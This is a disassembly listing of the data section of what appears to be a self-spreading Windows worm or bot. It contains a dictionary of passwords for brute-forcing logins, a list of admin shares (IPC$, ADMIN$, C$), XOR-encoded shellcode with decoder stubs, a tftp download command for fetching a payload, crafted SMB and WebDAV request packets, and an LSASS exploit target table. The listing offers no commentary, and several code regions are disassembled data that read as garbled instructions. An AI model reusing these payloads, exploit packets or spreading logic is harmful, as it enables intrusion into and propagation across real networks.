		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob		; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aLogin	; "login"
		dd offset aLoginpass	; "loginpass"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aExchange	; "exchange"
		dd offset aFuck		; "fuck"
		dd offset aBitch	; "bitch"
		dd offset aSlut		; "slut"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aHell_0	; "hell"
		dd offset aHello	; "hello"
		dd offset aDomain	; "domain"
		dd offset aDomainpass	; "domainpass"
		dd offset aDomainpassword ; "domainpassword"
		dd offset aDatabase	; "database"
		dd offset aAccess	; "access"
		dd offset aDbpass	; "dbpass"
		dd offset aDbpassword	; "dbpassword"
		dd offset aDatabasepass	; "databasepass"
		dd offset aData		; "data"
		dd offset aDatabasepasswo ; "databasepassword"
		dd offset aDb1		; "db1"
		dd offset aDb2		; "db2"
		dd offset aDb1234	; "db1234"
		dd offset aSa		; "sa"
		dd offset aSql		; "sql"
		dd offset aSqlpassoainsta ; "sqlpassoainstall"
		dd offset aOrainstall	; "orainstall"
		dd offset aOracle	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aHp		; "hp"
		dd offset aNokia	; "nokia"
		dd offset aXp		; "xp"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aBlank	; "blank"
		dd offset aWinpass	; "winpass"
		dd offset aMain		; "main"
		dd offset aLan		; "lan"
		dd offset aInternet	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		align 8
dword_42C2F8	dd 10h							; sub_408A18+804r ...
		align 10h
dword_42C300	dd 736E6F63h			dd 74h,	0
dword_42C30C	dd 1		off_42C310	dd offset sub_40F9EB	; DATA XREF: sub_40FD06+6Cr
aLetter		db 'letter',0
		align 10h
		dd 2, 40FA49h, 706D6F63h, 2 dup(0)
		dd 3, 40FA96h, 6E756F63h, 797274h, 0
		dd 4, 40FB05h, 736Fh, 2	dup(0)
		dd 5, 40FB7Ah
dword_42C364	dd 1D4C0h	off_42C368	dd offset aIpc		; DATA XREF: sub_40FF1B:loc_4100D1r
					; sub_40FF1B+1C4r ...
					; "IPC$"
dword_42C36C	dd 0				dd offset aAdmin_0	; "ADMIN$"
		align 8
		dd offset aC_3		; "C$"
		dd offset aC_2		; "C:\\"
		dd offset aD_3		; "D$"
		dd offset aD_2		; "D:\\"
; ---------------------------------------------------------------------------


loc_42C388:				; DATA XREF: sub_410BDF+C0o
		jmp	short loc_42C38C
; ---------------------------------------------------------------------------


loc_42C38A:				; CODE XREF: .data:loc_42C38Cp
		jmp	short loc_42C391
; ---------------------------------------------------------------------------


loc_42C38C:				; CODE XREF: .data:loc_42C388j
		call	loc_42C38A


loc_42C391:				; CODE XREF: .data:loc_42C38Aj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_42C396	dw 0FFFFh		; DATA XREF: sub_410BDF:loc_410C92w
		db 80h,	73h, 0Eh
byte_42C39B	db 0FFh			; DATA XREF: sub_410BDF+BAw
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_42C3A0:				; DATA XREF: sub_410BDF+9Co
		jmp	short loc_42C3A4
; ---------------------------------------------------------------------------


loc_42C3A2:				; CODE XREF: .data:loc_42C3A4p
		jmp	short loc_42C3A9
; ---------------------------------------------------------------------------


loc_42C3A4:				; CODE XREF: .data:loc_42C3A0j
		call	loc_42C3A2


loc_42C3A9:				; CODE XREF: .data:loc_42C3A2j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_42C3AD	db 0FFh			; DATA XREF: sub_410BDF+A1w
		dw 7380h
		db 0Ch
byte_42C3B1	db 0FFh			; DATA XREF: sub_410BDF+A7w
		dw 0E243h
		dd 0F9h
dword_42C3B8	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_410ACC+72o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_42C41C	dd 12h		aTftp_exeIGet	db 'tftp.exe -i  get ',0 ; DATA XREF: sub_410ACC+96o
aJ_0		db 'j',0
		db 0E8h
dword_42C435	dd 17h		; ---------------------------------------------------------------------------
		jnz	short near ptr byte_42C43C
		retn
; ---------------------------------------------------------------------------
byte_42C43C	db 0E8h			; CODE XREF: .data:0042C439j
dword_42C43D	dd 1		byte_42C441	db 0, 6Ah, 0		; DATA XREF: sub_410ACC+ECo
		dd 7E8h
		db 0, 0Fh, 84h
dword_42C44B	dd 0FFFFFFEDh	; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_42C480:				; DATA XREF: sub_4127BC:loc_4128D5o
		mov	edi, ecx
		xor	al, al
		inc	al
		repne scasb
		jmp	edi
; ---------------------------------------------------------------------------
		align 10h
a?xmlVersion1_0	db '<?xml version="1.0"?>',0Dh,0Ah ; DATA XREF: sub_4127BC+18Bo
		db '<g:searchrequest xmlns:g="DAV:">',0Dh,0Ah
		db '<g:sql>',0Dh,0Ah
		db 'Select "DAV:displayname" from scope()',0Dh,0Ah
		db '</g:sql>',0Dh,0Ah
		db '</g:searchrequest>',0Dh,0Ah,0
; ---------------------------------------------------------------------------
		jmp	short loc_42C52A

; =============== S U B	R O U T	I N E =======================================



sub_42C51A	proc far		; CODE XREF: sub_42C51A:loc_42C52Ap
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_42C522:				; CODE XREF: sub_42C51A+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_42C522
		jmp	short loc_42C52F
; ---------------------------------------------------------------------------


loc_42C52A:				; CODE XREF: .data:0042C518j
		call	near ptr sub_42C51A


loc_42C52F:				; CODE XREF: sub_42C51A+Ej
		jo	short loc_42C593
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_42C5B1
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_42C593:				; CODE XREF: sub_42C51A:loc_42C52Fj
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_42C5B1:				; CODE XREF: sub_42C51A+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_42C51A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_42C658:				; DATA XREF: sub_4130F8+112o
					; sub_4130F8+1D9o
		jmp	short loc_42C66A

; =============== S U B	R O U T	I N E =======================================



sub_42C65A	proc near		; CODE XREF: sub_42C65A:loc_42C66Ap
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_42C662:				; CODE XREF: sub_42C65A+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_42C662
		jmp	short loc_42C66F
; ---------------------------------------------------------------------------


loc_42C66A:				; CODE XREF: .data:loc_42C658j
		call	sub_42C65A


loc_42C66F:				; CODE XREF: sub_42C65A+Ej
		jo	short near ptr dword_42C5E8+1Eh
		cwde
		cdq
		cdq
		retn
sub_42C65A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
word_42C708	dw 4B9Dh		; DATA XREF: sub_4130F8+E5w
		dw 59AAh
		dd 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh,	66CAC9C9h
		dd 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h,	10627B17h
		dd 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h, 0AACFC989h
		dd 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h, 0C8C9A5DEh
		dd 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h, 591C3559h
		dd 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h,	66677671h
		dd 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh
		dd 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h, 0F8FCEBF1h
		dd 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h, 0AAC6ABEAh
		dd 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h, 0F0F599FDh
		dd 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh, 0FAF6EAFCh
		dd 99EDFCF2h, 0
dword_42C7F0	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: .text:00413576o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 2 dup(0)
dword_42C880	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: .text:004135A2o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
dword_42C930	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: .text:004135CAo
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_42CA10	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4130F8+53o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC_4:					; DATA XREF: sub_4130F8+90o
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 2 dup(0)
dword_42CA78	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4130F8+28Bo
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 2 dup(0)
dword_42CAE8	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4130F8+2B2o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
dword_42CB90	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4130F8+383o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_42CC10	dd offset loc_401495	; DATA XREF: sub_4130F8+3A6o
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	2 dup(0)
dword_42CCA8	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4130F8+2E2o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 2 dup(0)
dword_42CD18	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4130F8+307o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0)
dword_42CD90	dd 0				dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 2	dup(0)
word_42CE18	dw 0AD9Dh		; DATA XREF: sub_412FB5+2Ar
					; sub_4130F8+CCr
		align 4
		dd 2 dup(0)
aWinxpProfessio	db 'WinXP Professional    [universal] lsass.exe ',0
		align 8
dword_42CE58	dd 1004600h						; sub_4130F8+223r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
; ---------------------------------------------------------------------------


loc_42CF10:				; DATA XREF: .text:0041381Ao
					; .text:00413898o
		jmp	short loc_42CF22

; =============== S U B	R O U T	I N E =======================================



sub_42CF12	proc near		; CODE XREF: sub_42CF12:loc_42CF22p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_42CF1A:				; CODE XREF: sub_42CF12+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_42CF1A
		jmp	short loc_42CF27
; ---------------------------------------------------------------------------


loc_42CF22:				; CODE XREF: .data:loc_42CF10j
		call	sub_42CF12


loc_42CF27:				; CODE XREF: sub_42CF12+Ej
		jo	short near ptr dword_42CE94+2Ah
		cwde
		cdq
		cdq
		retn
sub_42CF12	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
word_42CFC0	dw 4B9Dh		; DATA XREF: .text:004137FBw
		dw 59AAh
		dd 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh,	66CAC9C9h
		dd 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h,	10627B17h
		dd 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h, 0AACFC989h
		dd 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h, 0C8C9A5DEh
		dd 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h, 591C3559h
		dd 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h,	66677671h
		dd 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh
		dd 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h, 0F8FCEBF1h
		dd 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h, 0AAC6ABEAh
		dd 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h, 0F0F599FDh
		dd 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh, 0FAF6EAFCh
		dd 99EDFCF2h, 0
dword_42D0A8	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: .text:004139C5o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 2 dup(0)
dword_42D138	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: .text:004139F7o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows20002_0:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_1:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
		dd 2 dup(0)
dword_42D1E8	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: .text:00413A22o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_42D2C8	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: .text:00413765o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC_5:					; DATA XREF: .text:004137A8o
		unicode	0, <C$>,0
a?????_0	db '?????',0
		align 10h
dword_42D330	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: .text:00413A7Ao
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 2 dup(0)
dword_42D3A0	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: .text:00413AA5o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
dword_42D448	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: .text:00413AD9o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_42D4C8	dd offset loc_401495	; DATA XREF: .text:00413B09o
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	2 dup(0)
dword_42D560	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: .text:00413B3Bo
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 2 dup(0)
dword_42D5D0	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: .text:00413B60o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0)
dword_42D648	dd 0				dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 3	dup(0)
aWinxpProfess_0	db 'WinXP Professional    [universal] lsass.exe ',0
		align 8
dword_42D708	dd 1004600h						; .text:00413880r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 3	dup(0)
		dd 9875h, 9873h
off_42D798	dd offset sub_414EFD	; DATA XREF: sub_415F5Br
		dd offset nullsub_1
		dd offset nullsub_1
		align 10h
dword_42D7B0	dd 19930520h, 3	dup(0)					; sub_415A46+2o
off_42D7C0	dd offset sub_4160A4	; DATA XREF: sub_4162A0+1Cr
dword_42D7C4	dd 2							; sub_41B740+Er ...
off_42D7C8	dd offset aNull_1	; DATA XREF: sub_416662:loc_416A28r
					; sub_416662+4E4r
					; "(null)"
off_42D7CC	dd offset aNull		; DATA XREF: sub_416662+2ACr
					; "(null)"
dword_42D7D0	dd 0FFFFFFFFh						; sub_416DF7+16w ...
		align 10h
		dd 43h,	0
dword_42D7E8	dd 1, 8	dup(0)						; .data:off_42D83Co
		dd 2 dup(1), 3 dup(0)
		dd offset off_42E1C4
		align 10h
		dd offset word_4290E2
		dd offset off_42E108
		dd 0
off_42D83C	dd offset dword_42D7E8	; DATA XREF: sub_4148EA+Ar
					; sub_415136+1Cr ...
		dd 0
		dd 1, 8	dup(0)
		dd 43h,	21h dup(0)
		dd 43h,	21h dup(0)
off_42D978	dd offset dword_47C9A0	; DATA XREF: sub_417F3B+52o
					; sub_417FF8+4o ...
		align 10h
		dd offset dword_47C9A0
		dd 101h
dword_42D988	dd 2 dup(0)			dd 1000h, 0
dword_42D998	dd 3 dup(0)						; sub_41AB2C+12o
		dd 2, 1, 3 dup(0)
dword_42D9B8	dd 3 dup(0)						; sub_41AB2C:loc_41AB4Ao
		dd 2 dup(2), 7 dup(0)
dword_42D9E8	dd 7Ch dup(0)	dword_42DBD8	dd 8 dup(0)						; sub_41804A+Do
dword_42DBF8	dd 10h,	0	dword_42DC00	dd 0							; sub_41819C+8o ...
dword_42DC04	dd 1				dd 0
		dd 1, 3	dup(0)
		dd 1, 0
		dd 1, 3	dup(0)
		dd 1, 0
		dd 1, 0
